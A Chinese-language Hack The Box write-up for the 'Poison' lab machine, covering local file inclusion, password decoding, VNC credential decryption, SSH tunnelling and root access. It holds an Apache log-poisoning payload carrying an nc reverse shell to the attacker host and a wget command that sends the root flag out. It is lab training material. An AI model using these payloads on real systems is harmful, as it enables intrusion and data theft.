HTB靶机013-Poison-WP

news2024/11/20 0:44:43

013-Poison

在这里插入图片描述

靶机IP:

10.10.10.84

Scan

Nmap 快速扫描:

┌──(xavier㉿kali)-[~]
└─$ sudo nmap -sSV -T4 10.10.10.84 -F
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-30 16:41 CST
Nmap scan report for 10.10.10.84
Host is up (0.27s latency).
Not shown: 98 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.72 seconds

Nmap 全端口扫描,结果也是一样。

Web

80端口Web服务访问如图:
在这里插入图片描述

翻译:

用于测试本地 .php 脚本的临时网站。
待测站点:ini.php、info.php、listfiles.php、phpinfo.php

试下输入phpinfo.php,结果如图:
在这里插入图片描述

文件包含

这个链接形式http://10.10.10.84/browse.php?file=phpinfo.php,猜测是否存在文件包含漏洞。

访问/etc/passwd:

在这里插入图片描述

直接包含/home/charix/user.txt/root/root.txt报错,权限错误。

在这里插入图片描述

通过phpinfo查看配置,allow_url_include为off,放弃远程文件包含。

刚才看了phpinfo.php,再看一下其他文件,有个listfiles.php,结果如下:

Array ( [0] => . [1] => .. [2] => browse.php [3] => index.php [4] => info.php [5] => ini.php [6] => listfiles.php [7] => phpinfo.php [8] => pwdbackup.txt ) 

在这里插入图片描述

包涵下pwdbackup.txt看看

在这里插入图片描述

对这个字符串进行base64解码,多重复几次

Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0 NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO Ukd4RVdub3dPVU5uUFQwSwo= 

最后解码了13次得到明文:

Charix!2#4%6&8(0

first shell

通过SSH使用上述密码登录

┌──(xavier㉿kali)-[~/Desktop/HTB/013-Poison]
└─$ ssh charix@10.10.10.84                                 

charix@Poison:~ % id
uid=1001(charix) gid=1001(charix) groups=1001(charix)
charix@Poison:~ % ls
secret.zip      user.txt
charix@Poison:~ % cat user.txt 
eaacdfb2d141b72a589233063604209c
charix@Poison:~ % 

通过Python传输secret.zip

charix@Poison:~ % whereis python
python: /usr/local/bin/python /usr/ports/lang/python
charix@Poison:~ % python --version
Python 2.7.14
charix@Poison:~ % python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
10.10.14.22 - - [30/Apr/2023 13:26:00] "GET /secret.zip HTTP/1.1" 200 -

同时也上传 linpeas.sh进行信息搜集

charix@Poison:~ % wget http://10.10.14.22/linpeas.sh
charix@Poison:~ % ls -l
total 808
-rw-r--r--  1 charix  charix  776073 Mar 29  2022 linpeas.sh
-rw-r-----  1 root    charix     166 Mar 19  2018 secret.zip
-rw-r-----  1 root    charix      33 Mar 19  2018 user.txt
charix@Poison:~ % chmod +x linpeas.sh 
charix@Poison:~ % ./linpeas.sh > result.txt

解压secret.zip,发现需要密码,使用之前的ssh密码成功解密:

┌──(xavier㉿kali)-[~/Desktop/HTB/013-Poison]
└─$ unzip secret.zip                       
Archive:  secret.zip
[secret.zip] secret password: 
 extracting: secret 

┌──(xavier㉿kali)-[~/Desktop/HTB/013-Poison]
└─$ ls -l
总计 68
-rw-r--r-- 1 xavier xavier 58027  4月30日 19:34 result.txt
-r--r--r-- 1 xavier xavier     8 20181月24日 secret
-rw-r--r-- 1 xavier xavier   166 20183月19日 secret.zip

但是发现是乱码,暂时不知道有什么用,暂时搁置。

┌──(xavier㉿kali)-[~/Desktop/HTB/013-Poison]
└─$ cat secret    
��[|Ֆz!  
┌──(xavier㉿kali)-[~/Desktop/HTB/013-Poison]
└─$ xxd secret        
00000000: bda8 5b7c d596 7a21                      ..[|..z!

在这里插入图片描述

考虑bda85b7cd5967a21可能是MD5,通过hashcat碰撞失败

root shell

查看linpeas的输出结果,寻找提权的方法。

path变量中有/home/charix/bin/,没找到利用方法。

/etc/passwd中除了root用户,还有toor用户,有没有可能用上?

进程中有vnc,寻找利用方法。
在这里插入图片描述

Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc/passwd -rfbport 5901 -localhost -nolisten tcp :1

解释一下命令行选项:

  • :1 - 显示编号 1
  • -rfbauth /root/.vnc/passwd - 指定密码认证文件
  • -rfbport 5901 - 连接端口
  • localhost - 本地监听

这里提到了5901端口,再查一遍端口列表信息:

charix@Poison:~ % netstat -anl
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address        Foreign Address         (state)
tcp4       0      0 127.0.0.1.5801       *.*                     LISTEN
tcp4       0      0 127.0.0.1.5901       *.*                     LISTEN
...

在这里插入图片描述

想用netstat -anlp查看具体的进程,但是失败了,不支持-p选项。

sockstat -l进行查看

在这里插入图片描述

SSH端口转发

使用SSH进行端口转发,在Kali上运行:

ssh -L 5801:127.0.0.1:5801 charix@10.10.10.84
ssh -L 5901:127.0.0.1:5901 charix@10.10.10.84

在这里插入图片描述

这里指定-fN,可以让ssh端口转发处于后台

ssh -L 5801:127.0.0.1:5801 -fN charix@10.10.10.84
ssh -L 5901:127.0.0.1:5901 -fN charix@10.10.10.84
SSH选项说明:
-C    请求压缩所有数据
-D    动态端口转发 
-f    后台执行SSH指令
-g    允许远程主机连接主机的转发端口
-L    本地转发 
-N    不执行远程命令,处于等待状态(不加-N会直接登录)
-R    远程转发

nmap对本地127.0.0.1的5801/5901端口进行扫描:

┌──(xavier㉿kali)-[~]
└─$ sudo nmap -sSV -T4 127.0.0.1 -p5801,5901
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 01:37 CST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000041s latency).

PORT     STATE SERVICE VERSION
5801/tcp open  http    Bacula http config
5901/tcp open  vnc     VNC (protocol 3.8)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.73 seconds

然后通过VNC进行连接

┌──(xavier㉿kali)-[~]
└─$ vncviewer 127.0.0.1:5901
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Password: 

在这里插入图片描述

发现需要密码,这个密码应该就是之前secret中的数据。

VNC连接

# 看WP发现,其实可以不解密,直接连接
vncviewer -passwd /root/htb/Poison/secret 127.0.0.1::5901

对secret文件进行解密,bda85b7cd5967a21

github找了个方便易用的:https://github.com/billchaison/VNCDecrypt

echo -n bda85b7cd5967a21 | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d -provider legacy -provider default | hexdump -Cv

在这里插入图片描述

在这个场景下,可以对上述命令进行一个优化:

┌──(xavier㉿kali)-[~/Desktop/HTB/013-Poison]
└─$ cat secret | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d
VNCP@$$!

在这里插入图片描述

然后再通过vnc进行连接:

┌──(xavier㉿kali)-[~]
└─$ vncviewer 127.0.0.1:5901
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Password: 
Authentication successful
Desktop name "root's X desktop (Poison:1)"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding

VNC连接的话,由于网络原因,可能会出现弹窗,然后长时间白屏的情况,耐心等待即可。

在这里插入图片描述

这里面flag不太好复制,最后用了如下方法带出:

root@Poison:~ # wget http://10.10.14.22/`cat /root/root.txt`
716d04b188419cf2bb99d891272361f5

在这里插入图片描述

复盘扩展

包含日志getshell

文件包含漏洞配合日志文件可获取webshell

这里的日志文件位置在/var/log/httpd-access.log,日志记录User-Agent、IP、时间、用户输入等,可以使用如下payload污染日志文件:

GET /browse.php?file=<?php+echo+'test';?> HTTP/1.1
Host: 10.10.10.84
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.22 8888 >/tmp/f'); ?> Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

然后通过文件包含漏洞包含日志文件,触发PHP代码解析

?file=/var/log/httpd-access.log

这就拿到了webshell。

SSH 远程转发

之前用的方法是SSH本地转发,也可以使用远程转发。

在受害机10.10.10.84上执行如下命令:

$ ssh -fN kali@10.10.14.22 -R 5901:localhost:5901
kali@10.10.14.22's password:

之后也是访问kali的本地5901端口。

参考文章

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/541302.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

公牛车充拆解 | 拓尔微A+C双口快充方案IM2403+TMI3451

在快节奏的生活中&#xff0c;手机已成为人们不可或缺的工具。对于经常开车出门的人来说&#xff0c;在车上给手机充电已经成为刚需&#xff0c;因此车载充电器是很多车主的不二之选&#xff0c;它能便捷地解决手机在车内充电的问题&#xff0c;让车主在开车途中保持电量充足。…

MySQL高级_第10章_索引优化与查询优化

MySQL高级_第10章_索引优化与查询优化 1. 数据准备 学员表 插 50 万 条&#xff0c; 班级表 插 1 万 条。 步骤 1 &#xff1a;建表 CREATE TABLE class ( id INT ( 11 ) NOT NULL AUTO_INCREMENT , className VARCHAR ( 30 ) DEFAULT NULL , address …

FlinkKafkaProducer 源码分析

initializeState 先查询是否开启isCheckpointingEnabled配置&#xff0c;如果没开&#xff0c;但是使用了EXACTLY_ONCE或者AT_LEAST_ONCE语义&#xff0c;就报错。 然后从checkpoint中保存的state中读取nextTransactionalIdHintState。 NEXT_TRANSACTIONAL_ID_HINT_DESCRIPTOR…

表情、特殊字符、字符串截取

码元与码点 关于码元和和码点&#xff0c;通过一个例子进行介绍。 如图&#xff0c;字符串&#x1f60a;只有一个“笑脸”符号&#xff0c;但是通过length属性发现&#xff0c;“长度”为2&#xff0c;string.length到底表示什么&#xff1f; 答&#xff1a;码元的个数 什么是…

C语言爬取HTML-爬取壁纸 文末附源码

前言&#xff1a;这学期计算机软件课程设计的其中一个题目是使用C语言爬取HTML&#xff0c;本打算使用C语言的CSpidr库来实现&#xff0c;但是因为它的依赖liburi没有找到在哪里安装&#xff0c;所以放弃了这个想法&#xff0c;使用的是curl以及libxml2这两个库&#xff0c;能够…

这几款实用且有趣的软件不容错过

软件一&#xff1a;天若ocr 这款Windows平台的天若OCR文字识别工具一定更适合你。 软件作者来自天若游心&#xff0c;我爱破解。 发布一年半以来一直深受好评&#xff0c;更新速度也非常快。 最近&#xff0c;它增加了批次识别功能。 软件二&#xff1a;腾讯柠檬精简版 除了Q…

P2233 [HNOI2002]公交车路线

题目描述 在长沙城新建的环城公路上一共有 8 个公交站&#xff0c;分别为 A、B、C、D、E、F、G、H。公共汽车只能够在相邻的两个公交站之间运行&#xff0c;因此你从某一个公交站到另外一个公交站往往要换几次车&#xff0c;例如从公交站 A 到公交站 D&#xff0c;你就至少需要…

keycloak介绍与使用示例,超时时间设置

keycloak介绍 Keycloak是一款由Red Hat开源社区开发的开放源代码的身份和访问管理解决方案&#xff0c;它提供了安全的单点登录(SSO)、多因素身份验证、社交登录和基于角色的访问控制等功能Keycloak基于OAuth 2.0和OpenID Connect协议&#xff0c;并支持SAML 2.0&#xff0c;可…

spring Bean的循环依赖问题

public class Husband {private String name;private Wife wife;public void setName(String name) {this.name name;}public String getName() {return name;}public void setWife(Wife wife) {this.wife wife;}// toString()方法重写时需要注意&#xff1a;不能直接输出wif…

【计算机网络基础】章节测试2 物理层

文章目录 判断题选择题辨析题应用题 判断题 现在的无线局域网常用的频段是2.8GHz和5.4GHz。 多模光纤只适合于近距离传输。√ 数据在计算机内部多采用串行传输方式&#xff0c;但在通信线路上多采用并行传输方式。 统计时分复用可以按需动态分配时隙。√ 相对于同步时分复用…

卷麻了,新来的00后实在是太卷了...

在程序员职场上&#xff0c;什么样的人最让人反感呢? 是技术不好的人吗?并不是。技术不好的同事&#xff0c;我们可以帮他。 是技术太强的人吗?也不是。技术很强的同事&#xff0c;可遇不可求&#xff0c;向他学习还来不及呢。 真正让人反感的&#xff0c;是技术平平&…

geoserver切片数据本地缓存和层级配置

很多业务场景中&#xff0c;我们会用到图层切片功能&#xff0c;默认情况下&#xff0c;每次调用都是新的重新切片&#xff0c;这样在性能上存在一定问题&#xff1b;基于此我们可以进行本地缓存切片&#xff0c;及此地理位置只进行一次切片处理&#xff0c;数据缓存在本地磁盘…

基于Python实现线性分类器

访问【WRITE-BUG数字空间】_[内附完整源码和文档] 在机器学习领域&#xff0c;分类的目标是指将具有相似特征的对象聚集。而一个线性分类器则透过特征的线性组合来做出分类决定&#xff0c;以达到此种目的。对象的特征通常被描述为特征值&#xff0c;而在向量中则描述为特征向…

Visual studio 配置intel realsense sdk环境

前面的部分已经有博主写过了&#xff0c;这里就不赘述了&#xff0c;附上链接&#xff1a;VS配置使用realsense相机SDK 仅仅配置上述文章中的部分&#xff0c;运行realsense example的部分例子程序时会出现找不到glfw3.h的问题。我查找了github上的提问发现这个问题原因是没有…

网络安全中NISP二级证书和CISP证书的优势有什么

优势&#xff1f;那就需要多个点展开说说啦~ 1.权威含金量高 我国信息安全领域唯一的国家级注册安全专业人员证书 2.就业面宽&#xff0c;企业优先选择证书持有者 通过专业培训和考试提高个人信息安全从业水平&#xff0c;证明具备从事信息安全技术和管理工作的能力&#x…

opencv二值化详解

大家好&#xff0c;今天来跟大家讲讲 opencv二值化。 先从一个比较经典的方法开始讲解&#xff0c;看 opencv官方文档&#xff1a; 二值化&#xff08;binary&#xff09;的定义&#xff1a;在一个输入图像中&#xff0c;将其一个像素点设置为0,将其两个像素点设置为1。 二值化…

开发笔记之:文件读取值溢出bug分析(QT C++版)

&#xff08;1&#xff09;引言 以下是QT C读取数据文件&#xff08;QDataStream&#xff09;的代码&#xff1a; /*** 按双字读取* param fis 文件输入流* param isBigEndian 是否大头&#xff08;字节序&#xff09;* return 双字值*/ DWORD FsFileUtil::readAsD…

怎么用问卷工具做市场调研?

对于希望开发新产品或服务、拓展新市场或确定潜在客户的公司来说&#xff0c;市场调查是一个至关重要的过程。然而&#xff0c;进行市场调查可能既耗时又昂贵&#xff0c;特别是在涉及对大量人群进行调查的情况下。今天&#xff0c;小编将来聊一聊调查问卷工具如何帮助企业进行…

微信小程序-基础知识

文章目录 AppIdOpenIDUnionId处理方法session_key AppId appid 是微信账号的唯一标识&#xff0c;这个是固定不变的&#xff1b; 如果了解微信公众号开发的就需要注意一下&#xff0c;小程序的appid 和 公众号的appid 是不一致的 OpenID 为了识别用户&#xff0c;每个用户针…

如何成为自动化测试工程师?8年测试总结,自动化测试岗晋升的技能...

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 Python自动化测试&…